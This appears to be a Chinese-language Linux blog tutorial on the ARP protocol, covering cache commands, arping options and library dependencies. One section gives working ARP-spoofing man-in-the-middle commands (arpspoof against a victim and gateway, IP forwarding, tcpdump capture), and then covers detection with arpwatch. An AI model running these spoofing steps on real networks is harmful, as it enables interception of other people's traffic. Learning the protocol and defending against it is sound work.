ARP 协议详解

2015-12-15 linux network

地址解析协议 Address Resolution Protocol, ARP 是一个通过解析网络层地址来找寻数据链路层地址的网络传输协议,在 IPv4 中极其重要。

简介

地址解析协议用来根据 IP 地址获取 MAC 地址,主机发送信息时将包含目标 IP 地址的 ARP 请求广播到网络上的所有主机,并接收返回的目标物理地址;在本机中会暂时缓存 ARP 信息,下次请求直接查询缓存。

ARP 协议可以参考 RFC1027,常见的操作如下。

----- 查看当前的ARP缓存,其中通过ip可以显示当前的状态
$ arp -an
$ ip neigh show

----- 直接通过Shell删除ARP缓存
# arp -n|awk '/^[1-9]/{print "arp -d  " $1}'|sh -x
# ip neigh flush dev eth0

----- 查看ARP老化时间,单位是秒,默认时30s
$ cat /proc/sys/net/ipv4/neigh/eth0/base_reachable_time

----- 查看当前网关的MAC地址
$ arping -I eth0 192.168.1.1

----- 查看当前网段的所有MAC地址
$ nmap -sP 192.168.1.0/24

依赖库

在 CentOS 中,可以直接通过如下命令安装依赖库。

# yum install libdb-devel libpcap-devel libnet-devel openssl-devel
# yum --enablerepo=epel install libnids-devel

需要注意的时,libnet 使用的是 1.0.X 版本,而非 1.1.X ,两者的 API 是不同的,可以参考 The Libnet Packet Construction Library 。所以,如果安装源的版本比较高,那么只能通过源码进行安装。

ARP 攻击

其中 192.168.3.11 为需要攻击的机器 IP ,192.168.3.1 为网关 IP 。

# arpspoof -i wlp3s0 -t 192.168.3.11 192.168.3.1

这步是告诉 192.168.3.11 机器,192.168.3.1 的 MAC 地址是我们本机的 MAC 地址。然后,另外打开一个终端,告诉 192.168.3.1,机器 192.168.3.11 的 MAC 地址为本机地址。

# arpspoof -i wlp3s0 -t 192.168.3.1 192.168.3.11

打开 IP 的转发功能,这样被攻击者 192.168.3.11 的所有报文都会经过本机。

# echo 1 > /proc/sys/net/ipv4/ip_forward

现在,就可以通过 tcpdump 监控 192.168.3.11 与外部网路的数据报文。

# tcpdump host 192.168.3.11 and not arp

对于这种中间人攻击,可以通过 arpwatch 进行监控。

# arpwatch -I eth0 -d                        # 监控ARP的变化,并发送邮件
# tailf /var/log/messages | grep arpwatch    # 查看打印到syslog的日志

arpwatch 会将新增、变更等操作发送到 root 邮箱。

arping

arping 有两个版本:A) Thomas Habets 写的,可以通过 arping <MAC> 查看该 MAC 对应的 IP 地址;B) Linux iputils suite 不提供上述功能。

两者的命令行参数有所区别,所以在使用时需要注意,一般 CentOS 是有的是后者,Debian 使用的是前者,可以通过 arping -V 查看版本。

如下是 CentOS 版本中的常用参数,简单列举如下:

常用参数:
  -f
    第一次响应后立即退出,通常用于确认对应的IP是否存在;
  -c NUM
    指定报文发送的次数;
  -i DEVICE
    如果有多块网卡,指定报文发送的网卡;
  -D
    DAD(Duplicate Address Detection)模式,用于探测IP是否被使用,发送广播报文;
  -U
    UAP(Unsolicited ARP Mode)主动发送ARP请求,用于更新ARP caches;
  -A
    与-U参数相同,不过使用ARP REPLY报文而非ARP REQUEST;

在使用时,可以通过如下命令查看发送的报文。

# tcpdump -i eth0 -nn arp | grep "192.144.51.73"

如下是常用示例:

----- 发送广播请求,确认该IP对应的MAC地址,不会更新本地ARP缓存中
arping 192.144.51.52
14:48:54.527346 ARP, Request who-has 192.144.51.52 (28:6e:d4:88:dd:53) tell 192.144.51.85, length 28
14:48:54.527484 ARP, Reply 192.144.51.52 is-at 28:6e:d4:88:dd:53, length 28

----- 发送广播报文,探测该IP是否使用,不会更新本地ARP缓存
arping -D 192.144.51.52
14:56:59.538745 ARP, Request who-has 192.144.51.52 (ff:ff:ff:ff:ff:ff) tell 0.0.0.0, length 28
14:56:59.539401 ARP, Reply 192.144.51.52 is-at 28:6e:d4:88:dd:53, length 28

----- 告知192.144.51.61更新ARP缓存
arping -U -Ieth0 -s192.144.51.73 192.144.51.61
15:08:53.402293 ARP, Request who-has 192.144.51.61 (ff:ff:ff:ff:ff:ff) tell 192.144.51.73, length 28
15:08:54.402451 ARP, Request who-has 192.144.51.61 (28:6e:d4:88:dd:4b) tell 192.144.51.73, length 28